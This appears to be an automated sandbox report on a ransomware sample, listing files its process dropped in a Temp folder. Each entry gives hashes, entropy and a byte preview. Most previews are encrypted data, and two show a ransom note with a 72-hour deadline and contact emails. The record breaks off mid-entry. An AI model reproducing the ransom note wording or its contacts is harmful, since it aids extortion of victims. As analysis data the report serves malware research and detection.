                                                                                                                                        Preview:*.....R.O!d.G.wK&ni..`t..q.uq......Ef....;I.[.'`/......:Z.*c...n.....8.."....;.+.w.C...8"..U..{f...;...7..{...................3..n.....vl,.r.....<...$.8.`NLoi%Vn.e....}.....c..2.X..CV!.=].. ...I.9O..WUE.$.^..v..2T..M.o....w[...`.4.!.~...eY.n.#...|.m.&.va.......+...n....Q.P..$......mf.V..;.<.(.#.....B..nd.$.|.r...L....f.t>`0.....f1U_a.F......,We5...0.'pd...%.p...........>..i.Tx.......b..e~r..@.p...k._..jp..H],.e..L.1........Hx..T..8......n?d...qF...m......T.P......h..5._.@P.k.4&.E..K....X...(T..y..y...&.+.;....vs...O.,.........(;.&L.D.].:4...IH&.......Nb.`..[0i..^.e;,X.JY.;l.Q.t.;."....~...=...|F..F.......@E.H...W.\........O^..WRW(.N.._......L.J.G)..y....0.......S..9.;G&ok.mX.c......y...h#=...D.m.W.%9....:x.j...=..%.....U...."..6.#qh..........<....G........]<..7......... ..].a.)p..}.....V.....a..5<...F...n5*._+Rei......e..{.....7...q.f.q...r.*g.-.0....F......ex...{2.]./....~....N..........6..rw.yp.aX..Js.OQX`....\IU...<p.....!*..$.....-.`
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.863540919847093
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:p6coc3sNOnzIzcBymhx8SNar+TeMsb0BB4hmmGHEf8pEG:UcnRzIxmh2x+TihmhI8aG
                                                                                                                                        MD5:16F786ACC6D52A4C54A1E8997A3EF198
                                                                                                                                        SHA1:EE92F6EDB99B11142A0FA5610DD265BCB8EFE595
                                                                                                                                        SHA-256:338EA68EB7781F20F0239C66EFD7EC2A87A12FCD3A07EAE1BA9BBAF97CC42C36
                                                                                                                                        SHA-512:49F71F2F780C492175E22C013CC184206600476C9756AD046A20D32A8899E9A33775424F4B8C0C4AB92293431AC66EA69454FA9E3390021FD4FA54026792A563
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Ot.....w..9.a.N*..*..t...c.3W-..5>R..."..UO@..pY...2(}@K.q].gF.!.... .V.s0m.... d]..O.r.J.7...#..oV2.J.)...&."RV(.^J.?..(...k...}W...p.....#h.#1...[..!b.u..(.....&...cWt|m.....&<-6.Q4.... *.X...+G...d}.. .K.0{..8P .M .c.w.....l..E..=...v...@...../%771rF....v.S..........j.d.....>..<.......+)D..$3v.e..n...L.D..li..tS-..Tp....f.....|......F..v.)2..........[......7...WP.\....ko....v....W.$.R....z......gn..}&.,.{...CK.O...Y.......V.......4.I4.C.m.Z....0p:....I.c..x.....'..&.@....S...F...A.....a:...q,{3.........b./Ci.e..-|..{...~..*JC....@....].......o....1N>N....-...O..9.[?.p....f.......Ly+C(..._J...q%.T^....>...\.R...g+....RR...t@.P..5.R.x...w.......eJU.L\.?..6.P....f.....*...7..>.#\d.=.%.........!N.\v..|....=..Kv...n.Z.0........#.;l.i.b..lj...y(..J.2S......._..F...S.ng..b.^0K...I7v.$....4.zTG.Q|xE...#..t..08M.W...v....5t..e.w..p._..X(...!W.I.,...w\6|@h...xEyg.,...I.`.$...X....%..C.Hmy.k..4.N.>s...g.j....C.+K...P1.uX......]...s.X.....+[.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.863540919847093
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:p6coc3sNOnzIzcBymhx8SNar+TeMsb0BB4hmmGHEf8pEG:UcnRzIxmh2x+TihmhI8aG
                                                                                                                                        MD5:16F786ACC6D52A4C54A1E8997A3EF198
                                                                                                                                        SHA1:EE92F6EDB99B11142A0FA5610DD265BCB8EFE595
                                                                                                                                        SHA-256:338EA68EB7781F20F0239C66EFD7EC2A87A12FCD3A07EAE1BA9BBAF97CC42C36
                                                                                                                                        SHA-512:49F71F2F780C492175E22C013CC184206600476C9756AD046A20D32A8899E9A33775424F4B8C0C4AB92293431AC66EA69454FA9E3390021FD4FA54026792A563
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Ot.....w..9.a.N*..*..t...c.3W-..5>R..."..UO@..pY...2(}@K.q].gF.!.... .V.s0m.... d]..O.r.J.7...#..oV2.J.)...&."RV(.^J.?..(...k...}W...p.....#h.#1...[..!b.u..(.....&...cWt|m.....&<-6.Q4.... *.X...+G...d}.. .K.0{..8P .M .c.w.....l..E..=...v...@...../%771rF....v.S..........j.d.....>..<.......+)D..$3v.e..n...L.D..li..tS-..Tp....f.....|......F..v.)2..........[......7...WP.\....ko....v....W.$.R....z......gn..}&.,.{...CK.O...Y.......V.......4.I4.C.m.Z....0p:....I.c..x.....'..&.@....S...F...A.....a:...q,{3.........b./Ci.e..-|..{...~..*JC....@....].......o....1N>N....-...O..9.[?.p....f.......Ly+C(..._J...q%.T^....>...\.R...g+....RR...t@.P..5.R.x...w.......eJU.L\.?..6.P....f.....*...7..>.#\d.=.%.........!N.\v..|....=..Kv...n.Z.0........#.;l.i.b..lj...y(..J.2S......._..F...S.ng..b.^0K...I7v.$....4.zTG.Q|xE...#..t..08M.W...v....5t..e.w..p._..X(...!W.I.,...w\6|@h...xEyg.,...I.`.$...X....%..C.Hmy.k..4.N.>s...g.j....C.+K...P1.uX......]...s.X.....+[.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.856553331695822
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:AMLCwCATOj/tABizeL4MAYYcpopEeLHe+DK4LWyPsgz5bPsA:1CUOj/taigAYEnaUpz5bPsA
                                                                                                                                        MD5:8CCA7887B00CEE4953FF70E493ED033C
                                                                                                                                        SHA1:211777FBDF7F1FA95F0E0CD88E35F8179C839851
                                                                                                                                        SHA-256:10DD191992174E3060E94003E964D116F4F33A4A69C8DD1D7C116D6182E9A9BD
                                                                                                                                        SHA-512:3C152E96EF650751B9669DCB6D6A682D021D8F2A63BD6349E6580E786754E97C88C3F355707D47B31C43554132EC4ACCA251557BAF2B220E10E7A5FD5E2AC69E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:L.N........`.....s..+..^........:...j...i..B=8zuS...Yj.8.{k^........}....oR}.~.......w....+..q.=.COJ[%..US..=!.6 g.[...."..Y..H.k'.x...,....1...Q.....AX}......v.c.@4.....Yqjo..D.".i.Y~....'.>6..9....zu...2h....2#.x...;..@. ..F.x..[.!.tl.P..Qnl...>7J.\8.D....M.q.(M....&Ck...2...f[.....S...F2.A...P.t..}%......[}.d....g..sjQ..^.sY&.;.z...~Gdhgp:..Q.X0....@$.I..`C^...0..+....L...r.........y#....TB..tY..Z\..z./..ye..|z..PZ.4s7~A=.[....e~...]..7..!t9..X..x.......f.\G......D{.LM.T.rR..S.......4a.....M'h...w.!.O....D...X......'..rS?#.S....."<2...!^Hi:G.."..C..[.....*......FVFUa....q.&.bm.f~./b..^..so...k.....Y@...EVb.-..._4.X}T.,..{.mg....#..~.i....=.?._UR.._..i.7.{.N..n.ox*.......*m.S.......^C!..B..d......$..K..........c.%........Q.U.......~......!.}..G..GC.d.N..D..B~^....!.....G8..t.O...n...:.R..=*w...$.po...4....._..`....4..W...N..o$,.x[:N..W.....'.@.u.e.K..lh...~.5.S^........X.>.Gz..........."M~^u.H.Mj.v@E.@.0q...217..p..y.......p..Z..k
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.856553331695822
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:AMLCwCATOj/tABizeL4MAYYcpopEeLHe+DK4LWyPsgz5bPsA:1CUOj/taigAYEnaUpz5bPsA
                                                                                                                                        MD5:8CCA7887B00CEE4953FF70E493ED033C
                                                                                                                                        SHA1:211777FBDF7F1FA95F0E0CD88E35F8179C839851
                                                                                                                                        SHA-256:10DD191992174E3060E94003E964D116F4F33A4A69C8DD1D7C116D6182E9A9BD
                                                                                                                                        SHA-512:3C152E96EF650751B9669DCB6D6A682D021D8F2A63BD6349E6580E786754E97C88C3F355707D47B31C43554132EC4ACCA251557BAF2B220E10E7A5FD5E2AC69E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:L.N........`.....s..+..^........:...j...i..B=8zuS...Yj.8.{k^........}....oR}.~.......w....+..q.=.COJ[%..US..=!.6 g.[...."..Y..H.k'.x...,....1...Q.....AX}......v.c.@4.....Yqjo..D.".i.Y~....'.>6..9....zu...2h....2#.x...;..@. ..F.x..[.!.tl.P..Qnl...>7J.\8.D....M.q.(M....&Ck...2...f[.....S...F2.A...P.t..}%......[}.d....g..sjQ..^.sY&.;.z...~Gdhgp:..Q.X0....@$.I..`C^...0..+....L...r.........y#....TB..tY..Z\..z./..ye..|z..PZ.4s7~A=.[....e~...]..7..!t9..X..x.......f.\G......D{.LM.T.rR..S.......4a.....M'h...w.!.O....D...X......'..rS?#.S....."<2...!^Hi:G.."..C..[.....*......FVFUa....q.&.bm.f~./b..^..so...k.....Y@...EVb.-..._4.X}T.,..{.mg....#..~.i....=.?._UR.._..i.7.{.N..n.ox*.......*m.S.......^C!..B..d......$..K..........c.%........Q.U.......~......!.}..G..GC.d.N..D..B~^....!.....G8..t.O...n...:.R..=*w...$.po...4....._..`....4..W...N..o$,.x[:N..W.....'.@.u.e.K..lh...~.5.S^........X.>.Gz..........."M~^u.H.Mj.v@E.@.0q...217..p..y.......p..Z..k
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.840240390330349
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:UbX1Ctl83/e9uacUWjvDGric8dP5tr3osR/940y95X4fYiW/37pE:UbXEt9qU4I8dP5pfMX5XriW/3lE
                                                                                                                                        MD5:508F5DDDC6C76008352067FCCA63339C
                                                                                                                                        SHA1:648C1451AB968AFB6C3D04D0E71011614AB02481
                                                                                                                                        SHA-256:9E32389F79EB4FEBB81FB26D33930B00EC80FD00B987DBAFC65DBA836ABAA526
                                                                                                                                        SHA-512:DE0B0BD1F5CDA652943343F464B370F00E75B92173CD8A3F71E1A3F8228333D1E4B0B44A4F545542E3088D99910A529F9C3BF05CEDE0D814ECDFE5B7EF00C654
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:r.8.v%\F............xw..4....s.X).>.b..;...x.g.V.....2`.....D!^gu$.SI.....?'...3kP&....`*..HL.(...H.^..2..lZ..0...h.>.O".v.N...8.....,D.[m..%..ED..O..*=nJRTU..ETW.S.%q...u."BY.x.d.....:..U..S...&......<.W.#.C.).z...Hxu.KVk..Y-u.2.7.!5..M.9[.{.}..r..$.&A..Zx<r.'1..t.u.....f......J...E....3...^....(EU.6.....V....Z.K.....T....9A^.~/..]/4.......O...<..3.-..{".......I...."'.l...\.-.t..o.~."C..i..P.....sF.]a.:...e2.YF.......u$.KIl.}5.....;P..!..u..=..(d_...8...\.{.....V..9.9.z.'.||..."[..7bh.H.W.. 9..D_.R..Qb..Z......%u.G4I.Y.V#tV].....]....Z....FA.|..x..l...........9.7>n....*.M./Y.o..C........\.k.....w..X...HK..........1}...It...W..5.A].. ..y|.6.H.8I..9Z.4.35...Z..p..C.+.t.V. x...k..G6...-3..P...........B.i..E.^PW.Y...N..B1....pX...}d.R_)X..m.xf.ve..Q.....t....CEv...N..C_..g.e...5...Z..Z..z..r.......,IE...>..._...M.=2...n[.o$;zF.s...n.............=...Ho.4b7......v.d..+....4nI..R.=..9n.~....$...v..;..g...:...z1!.....3....T...9=...(.3....+......
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.840240390330349
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:UbX1Ctl83/e9uacUWjvDGric8dP5tr3osR/940y95X4fYiW/37pE:UbXEt9qU4I8dP5pfMX5XriW/3lE
                                                                                                                                        MD5:508F5DDDC6C76008352067FCCA63339C
                                                                                                                                        SHA1:648C1451AB968AFB6C3D04D0E71011614AB02481
                                                                                                                                        SHA-256:9E32389F79EB4FEBB81FB26D33930B00EC80FD00B987DBAFC65DBA836ABAA526
                                                                                                                                        SHA-512:DE0B0BD1F5CDA652943343F464B370F00E75B92173CD8A3F71E1A3F8228333D1E4B0B44A4F545542E3088D99910A529F9C3BF05CEDE0D814ECDFE5B7EF00C654
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:r.8.v%\F............xw..4....s.X).>.b..;...x.g.V.....2`.....D!^gu$.SI.....?'...3kP&....`*..HL.(...H.^..2..lZ..0...h.>.O".v.N...8.....,D.[m..%..ED..O..*=nJRTU..ETW.S.%q...u."BY.x.d.....:..U..S...&......<.W.#.C.).z...Hxu.KVk..Y-u.2.7.!5..M.9[.{.}..r..$.&A..Zx<r.'1..t.u.....f......J...E....3...^....(EU.6.....V....Z.K.....T....9A^.~/..]/4.......O...<..3.-..{".......I...."'.l...\.-.t..o.~."C..i..P.....sF.]a.:...e2.YF.......u$.KIl.}5.....;P..!..u..=..(d_...8...\.{.....V..9.9.z.'.||..."[..7bh.H.W.. 9..D_.R..Qb..Z......%u.G4I.Y.V#tV].....]....Z....FA.|..x..l...........9.7>n....*.M./Y.o..C........\.k.....w..X...HK..........1}...It...W..5.A].. ..y|.6.H.8I..9Z.4.35...Z..p..C.+.t.V. x...k..G6...-3..P...........B.i..E.^PW.Y...N..B1....pX...}d.R_)X..m.xf.ve..Q.....t....CEv...N..C_..g.e...5...Z..Z..z..r.......,IE...>..._...M.=2...n[.o$;zF.s...n.............=...Ho.4b7......v.d..+....4nI..R.=..9n.~....$...v..;..g...:...z1!.....3....T...9=...(.3....+......
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.852478668794904
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:schCfGOHErG+nQ89ubtEsjcYJQaclOVwVyRcVWM+Z7CyYbO4:9hCnHF89ufJQXlbyRS+lSO4
                                                                                                                                        MD5:24E112CE56E8A7F4B967127520556297
                                                                                                                                        SHA1:2A7C9CFD0541B6A1F68FEDAB4CBB20A8566986EB
                                                                                                                                        SHA-256:B45FA01F3A94A58C495268967095F8490CE3E6B078983CDF9B436ECDB2861E91
                                                                                                                                        SHA-512:9F02BBD671279E2864FA2C48B24154AA8E3947AB4E0EECDDE8C2940510800AE568BA8800C8D25A1964C0B12F43DF29A190F1DDE781C35BAA5A53B2438B9D2D38
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.... 0.....NNz..^F\......~.$...}p.sh..H2...........(~Y..M.zx?q..^.;]O.Q....l....rZ.A...qcb...q..sQ..JK...@.4..Kt..8.w*9G..._..z.q...~$.'.%c.kmj.d..(.......7.'.....<..Fp...rDs.w..y..f4}.,Y..:#...... x..?.C.....{w.R.*....j.O.3....B....Z.*}.....v......bF.n..J......@"T...#..][P..RQW..0...._.*..s-|.Y./.^7K...........[..|ytU..l...T..+7....6.T....W..L...e...../..=..'....T..OW...D..M@!......s...`....t.-b.....v.....D..oY..b..N3E..5.|..;.._f:...GE.=...z.`R..Ee?D..C...E.J.@?.SC....<.}4..;.N,..&W...5.#.@....iY..rU..e."5..c),HP..R..k<$}w.&P...t.r.B.dy.`V.U...4).E..+.c.^..i9..Qcg.Q x..kx.1.NI_].Q2aW.!...$.FT)s..&.eQ....vb..B..z72...G.Z.p..n...@.&.v..O.....d-....T&..n2:........h..z....[..L\.y9..;..uQ./........0..i..zX.:vq.P.C.>...PUr.r..(.Ev..*.v.7...(...x.....E..y]u!...XK...(........:..m....@...%TK.....Ur.U......ol5...w.?2..e{.@......0.zk...X.-?.pN.F..8d..Pq..[u....lfH.R....!..vsS&[.a..Zt..N....5..&67.Z..*NZ:F@.....@....v.........g.:......y... ..+..+.8.V7`1E
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.852478668794904
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:schCfGOHErG+nQ89ubtEsjcYJQaclOVwVyRcVWM+Z7CyYbO4:9hCnHF89ufJQXlbyRS+lSO4
                                                                                                                                        MD5:24E112CE56E8A7F4B967127520556297
                                                                                                                                        SHA1:2A7C9CFD0541B6A1F68FEDAB4CBB20A8566986EB
                                                                                                                                        SHA-256:B45FA01F3A94A58C495268967095F8490CE3E6B078983CDF9B436ECDB2861E91
                                                                                                                                        SHA-512:9F02BBD671279E2864FA2C48B24154AA8E3947AB4E0EECDDE8C2940510800AE568BA8800C8D25A1964C0B12F43DF29A190F1DDE781C35BAA5A53B2438B9D2D38
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.... 0.....NNz..^F\......~.$...}p.sh..H2...........(~Y..M.zx?q..^.;]O.Q....l....rZ.A...qcb...q..sQ..JK...@.4..Kt..8.w*9G..._..z.q...~$.'.%c.kmj.d..(.......7.'.....<..Fp...rDs.w..y..f4}.,Y..:#...... x..?.C.....{w.R.*....j.O.3....B....Z.*}.....v......bF.n..J......@"T...#..][P..RQW..0...._.*..s-|.Y./.^7K...........[..|ytU..l...T..+7....6.T....W..L...e...../..=..'....T..OW...D..M@!......s...`....t.-b.....v.....D..oY..b..N3E..5.|..;.._f:...GE.=...z.`R..Ee?D..C...E.J.@?.SC....<.}4..;.N,..&W...5.#.@....iY..rU..e."5..c),HP..R..k<$}w.&P...t.r.B.dy.`V.U...4).E..+.c.^..i9..Qcg.Q x..kx.1.NI_].Q2aW.!...$.FT)s..&.eQ....vb..B..z72...G.Z.p..n...@.&.v..O.....d-....T&..n2:........h..z....[..L\.y9..;..uQ./........0..i..zX.:vq.P.C.>...PUr.r..(.Ev..*.v.7...(...x.....E..y]u!...XK...(........:..m....@...%TK.....Ur.U......ol5...w.?2..e{.@......0.zk...X.-?.pN.F..8d..Pq..[u....lfH.R....!..vsS&[.a..Zt..N....5..&67.Z..*NZ:F@.....@....v.........g.:......y... ..+..+.8.V7`1E
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.845822882675034
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:MSzALotxo8YIQGzMlZ38BLBnFOex8VR+okSYHWZh4DQYujzlEzOEFL2xgkL:vALK6wQGze18/oe8JkSYLdO5EyE12gg
                                                                                                                                        MD5:195336565686E721C8A32B3EFD599996
                                                                                                                                        SHA1:8C2109AA60A3DCBFE44DD0E1E0D3872205D3D59E
                                                                                                                                        SHA-256:5B2526881CB2EDFFEC75EBF5260DE45A48DE8D87CD484AF35ADD1862EF9F5361
                                                                                                                                        SHA-512:8E606A502006431A03E9C52964421B76AD3E91BF12F5779D0C4088BB22AFEA6B5DD87701B28AC58F9410084988762113A5B4F5F64F5710D7F4380212EB7319D9
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:XC..p...`.^..t8..7....D....G5.q...z.P..C.. ....>?(.P*.7E.|..-B.'.A.....9.j..H.....@.E.Y#./..;%...!.."...\#..~..f...).%..Xy.F.3.%...7S.......e..so.M...]%...e......."?.P..(.p.+.%...=....ElB....UM.r.]....*.+.....7..A.......V"..-+1L.9D....J.N..w<..y..U.f..Z.....A.:7........,uug...3A..1k:~..,..........&.t.B.oyD.e..l..N.ga....PCW.g.....,.m.8.V..Q.(.+W!.1/........|.....N....DxU.|!.{..(.V).wb0...z.H..]..w.&-.f..cN.`;0.V....h.`.>$..E..&.OK:..;....C...Z%.......u..y..<@.=.......5..40D.a..Z..NB....M.......T.J.......4.z..S$w.G....t...c.._.Q.%.!DI.ZZ_.tn.T..)`..[:.....B?..E.B~..U..e....vJ.~#R....N.$.".\B..#.a......P.s..R.#l$...ful.B....!..t.#..+....;..)......m.V..x.tOf..G....T.Sw.Q<..w0.Y.;...N..y;.1P..K..Y....~<....i0..t:o...1...<`..B.3....#P.e^.+].j.."...5R.6............U....oCF.E.H..\.p....g.@.(.X.VA~.I.].Qo.2.3^.q2`$.N3.~...N............~.r....0..s..)...>...'eY..]\1.....4.........7\0..4'.wjX.B`.i. s.......y7.R...4..#.D.s.k...a......s....k..zS.p?...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.845822882675034
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:MSzALotxo8YIQGzMlZ38BLBnFOex8VR+okSYHWZh4DQYujzlEzOEFL2xgkL:vALK6wQGze18/oe8JkSYLdO5EyE12gg
                                                                                                                                        MD5:195336565686E721C8A32B3EFD599996
                                                                                                                                        SHA1:8C2109AA60A3DCBFE44DD0E1E0D3872205D3D59E
                                                                                                                                        SHA-256:5B2526881CB2EDFFEC75EBF5260DE45A48DE8D87CD484AF35ADD1862EF9F5361
                                                                                                                                        SHA-512:8E606A502006431A03E9C52964421B76AD3E91BF12F5779D0C4088BB22AFEA6B5DD87701B28AC58F9410084988762113A5B4F5F64F5710D7F4380212EB7319D9
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:XC..p...`.^..t8..7....D....G5.q...z.P..C.. ....>?(.P*.7E.|..-B.'.A.....9.j..H.....@.E.Y#./..;%...!.."...\#..~..f...).%..Xy.F.3.%...7S.......e..so.M...]%...e......."?.P..(.p.+.%...=....ElB....UM.r.]....*.+.....7..A.......V"..-+1L.9D....J.N..w<..y..U.f..Z.....A.:7........,uug...3A..1k:~..,..........&.t.B.oyD.e..l..N.ga....PCW.g.....,.m.8.V..Q.(.+W!.1/........|.....N....DxU.|!.{..(.V).wb0...z.H..]..w.&-.f..cN.`;0.V....h.`.>$..E..&.OK:..;....C...Z%.......u..y..<@.=.......5..40D.a..Z..NB....M.......T.J.......4.z..S$w.G....t...c.._.Q.%.!DI.ZZ_.tn.T..)`..[:.....B?..E.B~..U..e....vJ.~#R....N.$.".\B..#.a......P.s..R.#l$...ful.B....!..t.#..+....;..)......m.V..x.tOf..G....T.Sw.Q<..w0.Y.;...N..y;.1P..K..Y....~<....i0..t:o...1...<`..B.3....#P.e^.+].j.."...5R.6............U....oCF.E.H..\.p....g.@.(.X.VA~.I.].Qo.2.3^.q2`$.N3.~...N............~.r....0..s..)...>...'eY..]\1.....4.........7\0..4'.wjX.B`.i. s.......y7.R...4..#.D.s.k...a......s....k..zS.p?...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.840129151708662
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:0sPmgvYZ5LocDD2wynsITdrKsqd1YK/8Loid+uB2:05gvs50QCGoxo1YK/8vs
                                                                                                                                        MD5:29FB9768394009AFBD1BB56936C9D070
                                                                                                                                        SHA1:F92F37E2B5657704763F43823C36BD776C697AE6
                                                                                                                                        SHA-256:14024456C16AF22FC8841026510BB83D8141F52E47FD3E71C0D9EA31649CA2B1
                                                                                                                                        SHA-512:7BC9B30262A9FF617446FB936FAF8B9A91B3024742A7DC237D273252E067623302DA5A4E5FBE8B613A9F4FC72E028169E2DA3F9A3E0340A0CADC82BD4D07B0BE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:p.$...k3.H.^T....r)H._..V..~.....4I..%..C......N....!.!x.q5....-.....b9K/3fI..n[X...'... ...._5y..s[..`.. F...w#p.?.o.Q...[...#.b..@(.._".v.....>.......#.......... W......w.>n.B3...M]...Ko.I+...?."h....p.!FIt.E.f.r#w..MQ#...6..M......|.{P.-s.c....rQP.....N.....D9...f$.$.....E........."..e7w...->..-.>.3..... ...B.l... /\..>7r.p..d.}k......K.K...K..|.\.0...t...+.L.5..yz.F.S.1..9!.C,L..lU.....y..vt...^*m+.`..m.?.G5..)x.&...F....Nn......w..H+..~..\......&.e yBY[.l/nA.`V84.w.X..Q.9.+.$].^..|Z....D.`5....(..,.kB....v./u.@m..R..].3.@.r...........x_.m.iO.>.B.U....a;...s..^... ..R=.l.E..x$.~...P. Ik*.3..YU....$..z...Qg..X.P..~...1n...&+Y3+...o..2.L....X...L.Jg...@.......u..`.3.o/........^.@..(..'...."c.U..T..tu.m=B.w5".M*_..r...R....=p{8.Ou...L..CD:..UJ..Tt."kQ.~..y..-.5..........~.......U..z..W..;.....(..Y.^G=.f...<.ay..._.X.`M.'...nw..Tx..........$..p.>W.h.Uh....bvU........#55..m.Z.g.z..g.............t.#Nz;....:f......|J......p......._.8Y.*
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.840129151708662
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:0sPmgvYZ5LocDD2wynsITdrKsqd1YK/8Loid+uB2:05gvs50QCGoxo1YK/8vs
                                                                                                                                        MD5:29FB9768394009AFBD1BB56936C9D070
                                                                                                                                        SHA1:F92F37E2B5657704763F43823C36BD776C697AE6
